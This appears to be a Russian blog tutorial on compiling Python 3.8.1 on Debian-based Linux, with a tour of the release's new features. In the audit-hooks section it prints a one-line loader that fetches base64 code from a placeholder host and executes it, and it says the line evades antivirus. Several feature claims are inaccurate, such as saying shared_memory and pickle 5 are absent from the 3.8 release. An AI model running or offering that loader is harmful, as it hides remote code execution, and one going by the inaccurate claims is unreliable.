Сравнительно недавно появилась обновленная версия Python – 3.8. Соответственно, многие пользователи хотят ее установить. Конечно, после нее появились еще версии 3.9 и 3.10, но все равно не спешат переходить на эти версии. В этом нет ничего удивительного, поскольку современные версии, по мнению многих пользователей, требуют обкатки и тестирования временем.
Наиболее популярной операционной системой среди разработчиков является Linux. Поэтому сегодня разберемся, как устанавливать Python 3.8 на разные сборки этой операционной системы: Ubuntu, Debian, LinuxMint.
- Подготовка
- Загрузка Python 3.8
- Компиляция исходного кода
- Как осуществить проверку версии Python?
- Что нового в Python 3.8
- Моржовый оператор
- Позиционные аргументы
- Использование f-строк для поддержки дебага
- Нативная оболочка asyncio
- Вызовы runtime audit hooks
- multiprocessing.shared_memory
- Протокол Pickle и буферы внеполосных данных
- Обратный порядок элементов словаря
- Импорт метаданных из других модулей
- finally + continue
Подготовка
Мы будем выполнять инсталляцию из исходника. Следовательно, нам нужно предварительно установить ряд библиотек, которые будут использоваться для компиляции исходного кода Python. Для этого достаточно воспользоваться двумя простыми инструкциями.
sudo apt install build-essential checkinstall sudo apt install libreadline-gplv2-dev libncursesw5-dev libssl-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev libffi-dev zlib1g-dev
У ряда пользователей может возникнуть ошибка ImportError: No named ‘_tkinter’. Это связано с тем, что данная библиотека не установлена на момент компиляции Python.
Поэтому необходимо сначала установить все необходимые библиотеки, и только потом уже устанавливать Python. Иначе убрать это исключение уже не будет возможным, в то время как Tkinter – один из самых главных компонентов языка.
Установить Tkinter можно с использованием этой команды.
sudo apt install python3-tk
Загрузка Python 3.8
После загрузки всех необходимых компонентов, требуется скачать на компьютер сам язык. Это можно сделать прямо с официального сайта, используя следующую команду.
cd /opt sudo wget https://www.python.org/ftp/python/3.8.1/Python-3.8.1.tgz
Далее используем такую команду, чтобы разархивировать файл исходного кода.
sudo tar xzf Python-3.8.1.tgz
Компиляция исходного кода
Никаких отличий на разных версиях Linux данный процесс нет. Компиляция исходного кода осуществляется с использованием altinstall.
cd Python-3.8.1 sudo ./configure --enable-optimizations sudo make altinstall
Последняя команда выполняется для того, чтобы не допустить замены бинарного файла Python, который по умолчанию расположен в /usr/bin/python.
Как осуществить проверку версии Python?
Чтобы выполнить проверку версии Python, необходимо записать в терминале следующую команду. Поскольку в системе версия не была переписана, то необходимо использовать следующую команду для проверки версии Python.
python3.8 -V
После установки Python загруженный на предыдущих этапах архив нам больше не нужен. Поэтому разумно его удалить, воспользовавшись следующей командой.
cd /opt sudo rm -f Python-3.8.1.tgz
Что нового в Python 3.8
Python 3.8 – довольно крупное обновление, которое получило ряд интересных возможностей.
Моржовый оператор
Большинство разработчиков ожидали этого еще с тех пор, когда в Python запретили использование = в качестве оператора сравнения. В определенной степени, это было удобно. Больше не путали операторы = и ==. Другим же не нравилась необходимость писать лишний знак «равно» два раза.
Итак, подавляющее количество разработчиков более склонны писать:
group = re.match(data).group(1) if re.match(data) else None
Вместо
match = re.match(data) group = match.group(1) if match else None
Это значительно замедляет работу приложения. Первый способ делает код очень нагроможденным, и поэтому многим такой вариант записи не нравится.
В версии Python 3.8 появилась возможность записывать код, приведенный выше, следующим способом.
group = match.group(1) if (match := re.match(data)) else None
Это полезно тем, что не нужно вычислять все заранее.
match1 = pattern1.match(data) match2 = pattern2.match(data) if match1: result = match1.group(1) elif match2: result = match2.group(2) else: result = None
Вместо этого большого фрагмента кода можно написать чуть короче.
if (match1 := pattern1.match(data)): result = match1.group(1) elif (match2 := pattern2.match(data)): result = match2.group(2) else: result = None
Этот вариант лучше, потому что второй if не будет учитываться в случае, если первый сработает.
Правда, этот метод придется осваивать дополнительно. Иначе будет высок риск создания неработающего кода.
y0 = (y1 := f(x))
Позиционные аргументы
def f(a, b, /, c, d, *, e, f): print(a, b, c, d, e, f)
В этом примере все аргументы, которые находятся перед косой чертой, являются четко позиционными. Все, которые расположены после нее – это ключевые слова.
f(10, 20, 30, d=40, e=50, f=60) - valid f(10, b=20, c=30, d=40, e=50, f=60) - b cannot be a keyword argument f(10, 20, 30, 40, 50, f=60) - e must be a keyword argument
Область, в которой данная функция может использоваться, может быть выражена одним предложением. Изменение сигнатур библиотек значительно упростится. Давайте приведем пример.
def add_to_queue(item: QueueItem):
Теперь такая сигнатура и должна поддерживаться. Коррекция имени параметра после этого стала невозможной, поскольку такие изменения станут критическими.
Вообразите ситуацию, что стоит задача внести изменения в целый список элементов.
def add_to_queue(items: Union[QueueItem, List[QueueItem]]):
Либо таким образом.
def add_to_queue(*items: QueueItem):
Ранее это было сделать невозможно, поскольку нарушалась совместимость с прежней версией. А теперь такая возможность есть у каждого разработчика. Помимо этого, такой подход лучше соответствует тем конструкциям, которые задействуют такой подход.
Так, нельзя передать kwargs функции pow.
>>> help(pow) ... pow(x, y, z=None, /) ... >>> pow(x=5, y=3) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: pow() takes no keyword arguments
Использование f-строк для поддержки дебага
Эта функция дает возможность упростить запись до вида “имя переменной=”, переменная, что значительно компактнее прежнего подхода.
f"{chr(65) = }" => "chr(65) = 'A'"
Нативная оболочка asyncio
Теперь у нас отсутствует необходимость для запуска асинхронных функций использовать asyncio.run() в случае, если мы запускаем оболочку Python в виде ‘python -m asyncio’. Использование await теперь возможно прямо с оболочки.
>python -m asyncio asyncio REPL 3.8.0b4 Use “await” directly instead of “asyncio.run()”. Type “help”, “copyright”, “credits” or “license” for more information. >>> import asyncio >>> async def test(): … await asyncio.sleep(1) … return ‘hello’ … >>> await test() ‘hello’
Вызовы runtime audit hooks
«Питоновский» рантайм основывается на C. Тем не менее, не происходит никакой специальной регистрации либо отслеживания кода, который выполняется в этой среде. Это приводит к тому, что мониторинг целого ряда фреймворков, средств безопасности и действий становится более трудным.
В этой версии появляется возможность непосредственно наблюдать за теми событиями, которые инициализированы рантаймом. В том числе, и работу системы импорта модулей, а также пользовательских хуков.
Обновленные API имеют следующий вид.
# Add an auditing hook sys.addaudithook(hook: Callable[[str, tuple]]) # Raise an event with all auditing hooks sys.audit(str, *args)
Удаление либо замена hooks невозможна. Для CPython те хуки, которые из C, считаются глобальными, в то время как пришедшие из Python хуки используются исключительно для текущего интерпретатора. Выполнение хуков осуществляется в следующем порядке:
- Глобальные хуки.
- Хуки интерпретатора.
Один из эксплойтов, который является наиболее интересным и скрытым, может иметь следующий вид.
python -c “import urllib.request, base64; exec(base64.b64decode( urllib.request.urlopen(‘http://my-exploit/py.b64') ).decode())”
Этот код позволяет пройти несколько уровней защиты антивирусных программ.
multiprocessing.shared_memory
Дает возможность пользоваться той же самой областью памяти из разных процессов либо интерпретаторов. В целом, это позволяет уменьшить затраты времени, которое требуется для сериализации объектов, чтобы их передавать между процессами. Достаточно использования общей памяти из другого процесса вместо того, чтобы выполнять сериализацию, отправку в очередь и дальнейшую десериализацию.
Протокол Pickle и буферы внеполосных данных
Pickle 5 в Python 3.8 поддерживает внеполосные буферы, где передача данных может осуществляться по отдельности от основного потока pickle по усмотрению транспортного уровня.
Прошлые 2 дополнения очень значимы, но их поддержки в релизной версии 3.8 версии Пайтон нет, так как требуется выполнить еще определенную работу, связанную с совместимостью со старым кодом. Правда, это позволяет изменить подходы к параллельной Python-разработке.
Обратный порядок элементов словаря
Теперь возможно осуществление итерации по словарям в противоположном порядке. Для этого используется функция reversed().
Импорт метаданных из других модулей
Благодаря новому модулю, появившемуся в этой версии Python, появилась возможность получать метаданные (например, версию) из сторонних пакетов.
finally + continue
До этого невозможно было использование выражения continue в рамках блока finally. Тогда эта возможность была непростой в реализации. Теперь эта проблема осталась позади.
for i in range(2): try: print(i) finally: print('Тест.') continue print('Эту строку вы не увидите.') # Python <= 3.7 >> SyntaxError: 'continue' not supported inside 'finally' clause # Python 3.8 >> 0 Тест. 1 Тест.